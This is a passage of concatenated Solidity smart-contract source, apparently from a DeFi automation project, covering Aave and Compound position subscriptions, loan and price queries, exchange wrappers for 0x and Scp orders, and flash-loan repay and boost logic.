address(this).balance; msg.sender.transfer(balance); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../auth/AdminAuth.sol"; /// @title Stores subscription information for Aave automatization contract AaveSubscriptions is AdminAuth { struct AaveHolder { address user; uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; bool boostEnabled; } struct SubPosition { uint arrPos; bool subscribed; } AaveHolder[] public subscribers; mapping (address => SubPosition) public subscribersPos; uint public changeIndex; event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Updated(address indexed user); event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool); /// @dev Called by the DSProxy contract which owns the Aave position /// @notice Adds the users Aave poistion in the list of subscriptions so it can be monitored /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external { // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(_minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[msg.sender]; AaveHolder memory subscription = AaveHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, user: msg.sender, boostEnabled: _boostEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender); emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe() external { _unsubscribe(msg.sender); } /// @dev Checks limit if minRatio is bigger than max /// @param _minRatio Minimum ratio, bellow which repay can be triggered /// @param _maxRatio Maximum ratio, over which boost can be triggered /// @return Returns bool if the params are correct function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) { if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list /// @param _user The actual address that owns the Aave position function _unsubscribe(address _user) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_user]; require(subInfo.subscribed, "Must first be subscribed"); address lastOwner = subscribers[subscribers.length - 1].user; SubPosition storage subInfo2 = subscribersPos[lastOwner]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); // remove last element and reduce arr length changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender); } /// @dev Checks if the user is subscribed /// @param _user The actual address that owns the Aave position /// @return If the user is subscribed function isSubscribed(address _user) public view returns (bool) { SubPosition storage subInfo = subscribersPos[_user]; return subInfo.subscribed; } /// @dev Returns subscribtion information about a user /// @param _user The actual address that owns the Aave position /// @return Subscription information about the user if exists function getHolder(address _user) public view returns (AaveHolder memory) { SubPosition storage subInfo = subscribersPos[_user]; return subscribers[subInfo.arrPos]; } /// @notice Helper method to return all the subscribed CDPs /// @return List of all subscribers function getSubscribers() public view returns (AaveHolder[] memory) { return subscribers; } /// @notice Helper method for the frontend, returns all the subscribed CDPs paginated /// @param _page What page of subscribers you want /// @param _perPage Number of entries per page /// @return List of all subscribers for that page function getSubscribersByPage(uint _page, uint _perPage) public view returns (AaveHolder[] memory) { AaveHolder[] memory holders = new AaveHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > holders.length) ? holders.length : end; uint count = 0; for (uint i = start; i < end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to unsubscribe a position /// @param _user The actual address that owns the Aave position function unsubscribeByAdmin(address _user) public onlyOwner { SubPosition storage subInfo = subscribersPos[_user]; if (subInfo.subscribed) { _unsubscribe(_user); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./AaveSafetyRatio.sol"; contract AaveLoanInfo is AaveSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint256[] collAmounts; uint256[] borrowAmounts; } struct TokenInfo { address aTokenAddress; address underlyingTokenAddress; uint256 collateralFactor; uint256 price; } struct TokenInfoFull { address aTokenAddress; address underlyingTokenAddress; uint256 supplyRate; uint256 borrowRate; uint256 borrowRateStable; uint256 totalSupply; uint256 availableLiquidity; uint256 totalBorrow; uint256 collateralFactor; uint256 liquidationRatio; uint256 price; bool usageAsCollateralEnabled; } struct UserToken { address token; uint256 balance; uint256 borrows; uint256 borrowRateMode; uint256 borrowRate; bool enabledAsCollateral; } /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _user Address of the user function getRatio(address _user) public view returns (uint256) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches Aave prices for tokens /// @param _tokens Arr. of tokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _tokens) public view returns (uint256[] memory prices) { address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); prices = new uint[](_tokens.length); for (uint256 i = 0; i < _tokens.length; ++i) { prices[i] = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokens[i]); } } /// @notice Fetches Aave collateral factors for tokens /// @param _tokens Arr. of tokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _tokens) public view returns (uint256[] memory collFactors) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); collFactors = new uint256[](_tokens.length); for (uint256 i = 0; i < _tokens.length; ++i) { (,collFactors[i],,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokens[i]); } } function getTokenBalances(address _user, address[] memory _tokens) public view returns (UserToken[] memory userTokens) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); userTokens = new UserToken[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { address asset = _tokens[i]; userTokens[i].token = asset; (userTokens[i].balance, userTokens[i].borrows,,userTokens[i].borrowRateMode,userTokens[i].borrowRate,,,,,userTokens[i].enabledAsCollateral) = ILendingPool(lendingPoolAddress).getUserReserveData(asset, _user); } } /// @notice Calcualted the ratio of coll/debt for an aave user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint256[] memory ratios) { ratios = new uint256[](_users.length); for (uint256 i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about reserves /// @param _tokenAddresses Array of tokens addresses /// @return tokens Array of reserves infomartion function getTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfo[] memory tokens) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); tokens = new TokenInfo[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { (,uint256 ltv,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokenAddresses[i]); tokens[i] = TokenInfo({ aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]), underlyingTokenAddress: _tokenAddresses[i], collateralFactor: ltv, price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]) }); } } /// @notice Information about reserves /// @param _tokenAddresses Array of token addresses /// @return tokens Array of reserves infomartion function getFullTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfoFull[] memory tokens) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); tokens = new TokenInfoFull[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { (uint256 ltv, uint256 liqRatio,,, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowingEnabled,) = ILendingPool(lendingPoolAddress).getReserveConfigurationData(_tokenAddresses[i]); tokens[i] = TokenInfoFull({ aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]), underlyingTokenAddress: _tokenAddresses[i], supplyRate: ILendingPool(lendingPoolCoreAddress).getReserveCurrentLiquidityRate(_tokenAddresses[i]), borrowRate: borrowingEnabled ? ILendingPool(lendingPoolCoreAddress).getReserveCurrentVariableBorrowRate(_tokenAddresses[i]) : 0, borrowRateStable: stableBorrowingEnabled ? ILendingPool(lendingPoolCoreAddress).getReserveCurrentStableBorrowRate(_tokenAddresses[i]) : 0, totalSupply: ILendingPool(lendingPoolCoreAddress).getReserveTotalLiquidity(_tokenAddresses[i]), availableLiquidity: ILendingPool(lendingPoolCoreAddress).getReserveAvailableLiquidity(_tokenAddresses[i]), totalBorrow: ILendingPool(lendingPoolCoreAddress).getReserveTotalBorrowsVariable(_tokenAddresses[i]) + ILendingPool(lendingPoolCoreAddress).getReserveTotalBorrowsStable(_tokenAddresses[i]), collateralFactor: ltv, liquidationRatio: liqRatio, price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]), usageAsCollateralEnabled: usageAsCollateralEnabled }); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); address[] memory reserves = ILendingPool(lendingPoolAddress).getReserves(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](reserves.length), borrowAddr: new address[](reserves.length), collAmounts: new uint[](reserves.length), borrowAmounts: new uint[](reserves.length) }); uint64 collPos = 0; uint64 borrowPos = 0; for (uint64 i = 0; i < reserves.length; i++) { address reserve = reserves[i]; (uint256 aTokenBalance, uint256 borrowBalance,,,,,,,,) = ILendingPool(lendingPoolAddress).getUserReserveData(reserve, _user); uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(reserves[i]); if (aTokenBalance > 0) { uint256 userTokenBalanceEth = wmul(aTokenBalance, price) * (10 ** (18 - _getDecimals(reserve))); data.collAddr[collPos] = reserve; data.collAmounts[collPos] = userTokenBalanceEth; collPos++; } // Sum up debt in Eth if (borrowBalance > 0) { uint256 userBorrowBalanceEth = wmul(borrowBalance, price) * (10 ** (18 - _getDecimals(reserve))); data.borrowAddr[borrowPos] = reserve; data.borrowAmounts[borrowPos] = userBorrowBalanceEth; borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } } pragma solidity ^0.6.0; import "../DS/DSMath.sol"; import "../interfaces/TokenInterface.sol"; import "../interfaces/ExchangeInterfaceV2.sol"; import "./SaverExchangeHelper.sol"; contract Prices is DSMath { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; enum ActionType { SELL, BUY } /// @notice Returns the best estimated price from 2 exchanges /// @param _amount Amount of source tokens you want to exchange /// @param _srcToken Address of the source token /// @param _destToken Address of the destination token /// @param _type Type of action SELL|BUY /// @param _wrappers Array of wrapper addresses to compare /// @return (address, uint) The address of the best exchange and the exchange price function getBestPrice( uint256 _amount, address _srcToken, address _destToken, ActionType _type, address[] memory _wrappers ) public returns (address, uint256) { uint256[] memory rates = new uint256[](_wrappers.length); for (uint i=0; i<_wrappers.length; i++) { rates[i] = getExpectedRate(_wrappers[i], _srcToken, _destToken, _amount, _type); } return getBiggestRate(_wrappers, rates); } /// @notice Return the expected rate from the exchange wrapper /// @dev In case of Oasis/Uniswap handles the different precision tokens /// @param _wrapper Address of exchange wrapper /// @param _srcToken From token /// @param _destToken To token /// @param _amount Amount to be exchanged /// @param _type Type of action SELL|BUY function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount, ActionType _type ) public returns (uint256) { bool success; bytes memory result; if (_type == ActionType.SELL) { (success, result) = _wrapper.call(abi.encodeWithSignature( "getSellRate(address,address,uint256)", _srcToken, _destToken, _amount )); } else { (success, result) = _wrapper.call(abi.encodeWithSignature( "getBuyRate(address,address,uint256)", _srcToken, _destToken, _amount )); } if (success) { return sliceUint(result, 0); } return 0; } /// @notice Finds the biggest rate between exchanges, needed for sell rate /// @param _wrappers Array of wrappers to compare /// @param _rates Array of rates to compare function getBiggestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 maxIndex = 0; // starting from 0 in case there is only one rate in array for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] > _rates[maxIndex]) { maxIndex = i; } } return (_wrappers[maxIndex], _rates[maxIndex]); } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../auth/AdminAuth.sol"; import "./SaverExchange.sol"; import "../utils/SafeERC20.sol"; contract AllowanceProxy is AdminAuth { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // TODO: Real saver exchange address SaverExchange saverExchange = SaverExchange(0x235abFAd01eb1BDa28Ef94087FBAA63E18074926); function callSell(SaverExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); saverExchange.sell{value: msg.value}(exData, msg.sender); } function callBuy(SaverExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); saverExchange.buy{value: msg.value}(exData, msg.sender); } function pullAndSendTokens(address _tokenAddr, uint _amount) internal { if (_tokenAddr == KYBER_ETH_ADDRESS) { require(msg.value >= _amount, "msg.value smaller than amount"); } else { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(saverExchange), _amount); } } function ownerChangeExchange(address payable _newExchange) public onlyOwner { saverExchange = SaverExchange(_newExchange); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/SafeERC20.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; import "../DFSExchangeHelper.sol"; import "../../interfaces/OffchainWrapperInterface.sol"; import "../../interfaces/TokenInterface.sol"; contract ZeroxWrapper is OffchainWrapperInterface, DFSExchangeHelper, AdminAuth, DSMath { string public constant ERR_SRC_AMOUNT = "Not enough funds"; string public constant ERR_PROTOCOL_FEE = "Not enough eth for protcol fee"; string public constant ERR_TOKENS_SWAPED_ZERO = "Order success but amount 0"; using SafeERC20 for ERC20; /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data /// @param _type Action type (buy or sell) function takeOrder( ExchangeData memory _exData, ActionType _type ) override public payable returns (bool success, uint256) { // check that contract have enough balance for exchange and protocol fee require(getBalance(_exData.srcAddr) >= _exData.srcAmount, ERR_SRC_AMOUNT); require(getBalance(KYBER_ETH_ADDRESS) >= _exData.offchainData.protocolFee, ERR_PROTOCOL_FEE); /// @dev 0x always uses max approve in v1, so we approve the exact amount we want to sell /// @dev safeApprove is modified to always first set approval to 0, then to exact amount if (_type == ActionType.SELL) { ERC20(_exData.srcAddr).safeApprove(_exData.offchainData.allowanceTarget, _exData.srcAmount); } else { uint srcAmount = wdiv(_exData.destAmount, _exData.offchainData.price) + 1; // + 1 so we round up ERC20(_exData.srcAddr).safeApprove(_exData.offchainData.allowanceTarget, srcAmount); } // we know that it will be eth if dest addr is either weth or eth address destAddr = _exData.destAddr == KYBER_ETH_ADDRESS ? EXCHANGE_WETH_ADDRESS : _exData.destAddr; uint256 tokensBefore = getBalance(destAddr); (success, ) = _exData.offchainData.exchangeAddr.call{value: _exData.offchainData.protocolFee}(_exData.offchainData.callData); uint256 tokensSwaped = 0; if (success) { // get the current balance of the swaped tokens tokensSwaped = getBalance(destAddr) - tokensBefore; require(tokensSwaped > 0, ERR_TOKENS_SWAPED_ZERO); } // returns all funds from src addr, dest addr and eth funds (protocol fee leftovers) sendLeftover(_exData.srcAddr, destAddr, msg.sender); return (success, tokensSwaped); } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/SafeERC20.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; import "../DFSExchangeHelper.sol"; import "../../interfaces/OffchainWrapperInterface.sol"; import "../../interfaces/TokenInterface.sol"; contract ScpWrapper is OffchainWrapperInterface, DFSExchangeHelper, AdminAuth, DSMath { string public constant ERR_SRC_AMOUNT = "Not enough funds"; string public constant ERR_PROTOCOL_FEE = "Not enough eth for protcol fee"; string public constant ERR_TOKENS_SWAPED_ZERO = "Order success but amount 0"; using SafeERC20 for ERC20; /// @notice Takes order from Scp and returns bool indicating if it is successful /// @param _exData Exchange data /// @param _type Action type (buy or sell) function takeOrder( ExchangeData memory _exData, ActionType _type ) override public payable returns (bool success, uint256) { // check that contract have enough balance for exchange and protocol fee require(getBalance(_exData.srcAddr) >= _exData.srcAmount, ERR_SRC_AMOUNT); require(getBalance(KYBER_ETH_ADDRESS) >= _exData.offchainData.protocolFee, ERR_PROTOCOL_FEE); ERC20(_exData.srcAddr).safeApprove(_exData.offchainData.allowanceTarget, _exData.srcAmount); // write in the exact amount we are selling/buing in an order if (_type == ActionType.SELL) { writeUint256(_exData.offchainData.callData, 36, _exData.srcAmount); } else { uint srcAmount = wdiv(_exData.destAmount, _exData.offchainData.price) + 1; // + 1 so we round up writeUint256(_exData.offchainData.callData, 36, srcAmount); } // we know that it will be eth if dest addr is either weth or eth address destAddr = _exData.destAddr == KYBER_ETH_ADDRESS ? EXCHANGE_WETH_ADDRESS : _exData.destAddr; uint256 tokensBefore = getBalance(destAddr); (success, ) = _exData.offchainData.exchangeAddr.call{value: _exData.offchainData.protocolFee}(_exData.offchainData.callData); uint256 tokensSwaped = 0; if (success) { // get the current balance of the swaped tokens tokensSwaped = getBalance(destAddr) - tokensBefore; require(tokensSwaped > 0, ERR_TOKENS_SWAPED_ZERO); } // returns all funds from src addr, dest addr and eth funds (protocol fee leftovers) sendLeftover(_exData.srcAddr, destAddr, msg.sender); return (success, tokensSwaped); } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "../../interfaces/ILendingPool.sol"; import "./CompoundSaverProxy.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../auth/ProxyPermission.sol"; /// @title Entry point for the FL Repay Boosts, called by DSProxy contract CompoundFlashLoanTaker is CompoundSaverProxy, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_SAVER_FLASH_LOAN = 0x819879d4725944b679371cE64474d3B92253cAb6; address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; /// @notice Repays the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function repayWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(25) { uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxColl || availableLiquidity == 0) { repay(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxColl); if (loanAmount > availableLiquidity) loanAmount = availableLiquidity; bytes memory encoded = packExchangeData(_exData); bytes memory paramsData = abi.encode(encoded, _cAddresses, _gasCost, true, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[0]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundFlashRepay", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[0])); } } /// @notice Boosts the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function boostWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(20) { uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxBorrow || availableLiquidity == 0) { boost(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxBorrow); if (loanAmount > availableLiquidity) loanAmount = availableLiquidity; bytes memory paramsData = abi.encode(packExchangeData(_exData), _cAddresses, _gasCost, false, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[1]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundFlashBoost", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[1])); } } function getAvailableLiquidity(address _tokenAddr) internal view returns (uint liquidity) { if (_tokenAddr == KYBER_ETH_ADDRESS) { liquidity = AAVE_POOL_CORE.balance; } else { liquidity = ERC20(_tokenAddr).balanceOf(AAVE_POOL_CORE); } } } pragma solidity ^0.6.0; import "../../auth/ProxyPermission.sol"; import "../../interfaces/ICompoundSubscription.sol"; /// @title SubscriptionsProxy handles authorization and interaction with the Subscriptions contract contract CompoundSubscriptionsProxy is ProxyPermission { address public constant COMPOUND_SUBSCRIPTION_ADDRESS = 0x52015EFFD577E08f498a0CCc11905925D58D6207; address public constant COMPOUND_MONITOR_PROXY = 0xB1cF8DE8e791E4Ed1Bd86c03E2fc1f14389Cb10a; /// @notice Calls subscription contract and creates a DSGuard if non existent /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { givePermission(COMPOUND_MONITOR_PROXY); ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe( _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls subscription contract and updated existing parameters /// @dev If subscription is non existent this will create one /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function update( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls the subscription contract to unsubscribe the caller function unsubscribe() public { removePermission(COMPOUND_MONITOR_PROXY); ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).unsubscribe(); } } pragma solidity ^0.6.0; abstract contract ICompoundSubscription { function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual; function unsubscribe() public virtual; } pragma solidity ^0.6.0; import "../../auth/ProxyPermission.sol"; import "../../interfaces/IAaveSubscription.sol"; /// @title SubscriptionsProxy handles authorization and interaction with the Subscriptions contract contract AaveSubscriptionsProxyV2 is ProxyPermission { string public constant NAME = "AaveSubscriptionsProxyV2"; address public constant AAVE_SUBSCRIPTION_ADDRESS = 0x6B25043BF08182d8e86056C6548847aF607cd7CD; address public constant AAVE_MONITOR_PROXY = 0x380982902872836ceC629171DaeAF42EcC02226e; /// @notice Calls subscription contract and creates a DSGuard if non existent /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { givePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe( _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls subscription contract and updated existing parameters /// @dev If subscription is non existent this will create one /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function update( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls the subscription contract to unsubscribe the caller function unsubscribe() public { removePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).unsubscribe(); } } pragma solidity ^0.6.0; abstract contract IAaveSubscription { function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual; function unsubscribe() public virtual; } pragma solidity ^0.6.0; import "../../auth/ProxyPermission.sol"; import "../../interfaces/IAaveSubscription.sol"; /// @title SubscriptionsProxy handles authorization and interaction with the Subscriptions contract contract AaveSubscriptionsProxy is ProxyPermission { address public constant AAVE_SUBSCRIPTION_ADDRESS = 0xe08ff7A2BADb634F0b581E675E6B3e583De086FC; address public constant AAVE_MONITOR_PROXY = 0xfA560Dba3a8D0B197cA9505A2B98120DD89209AC; /// @notice Calls subscription contract and creates a DSGuard if non existent /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { givePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe( _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls subscription contract and updated existing parameters /// @dev If subscription is non existent this will create one /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function update( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls the subscription contract to unsubscribe the caller function unsubscribe() public { removePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).unsubscribe(); } } pragma solidity ^0.6.0; import "../../DS/DSGuard.sol"; import "../../DS/DSAuth.sol"; contract SubscriptionsInterfaceV2 { function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external {} function unsubscribe(uint _cdpId) external {} } /// @title SubscriptionsProxy handles authorization and interaction with the Subscriptions contract contract SubscriptionsProxyV2 { address public constant MONITOR_PROXY_ADDRESS = 0x1816A86C4DA59395522a42b871bf11A4E96A1C7a; address public constant OLD_SUBSCRIPTION = 0x83152CAA0d344a2Fd428769529e2d490A88f4393; address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; function migrate(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 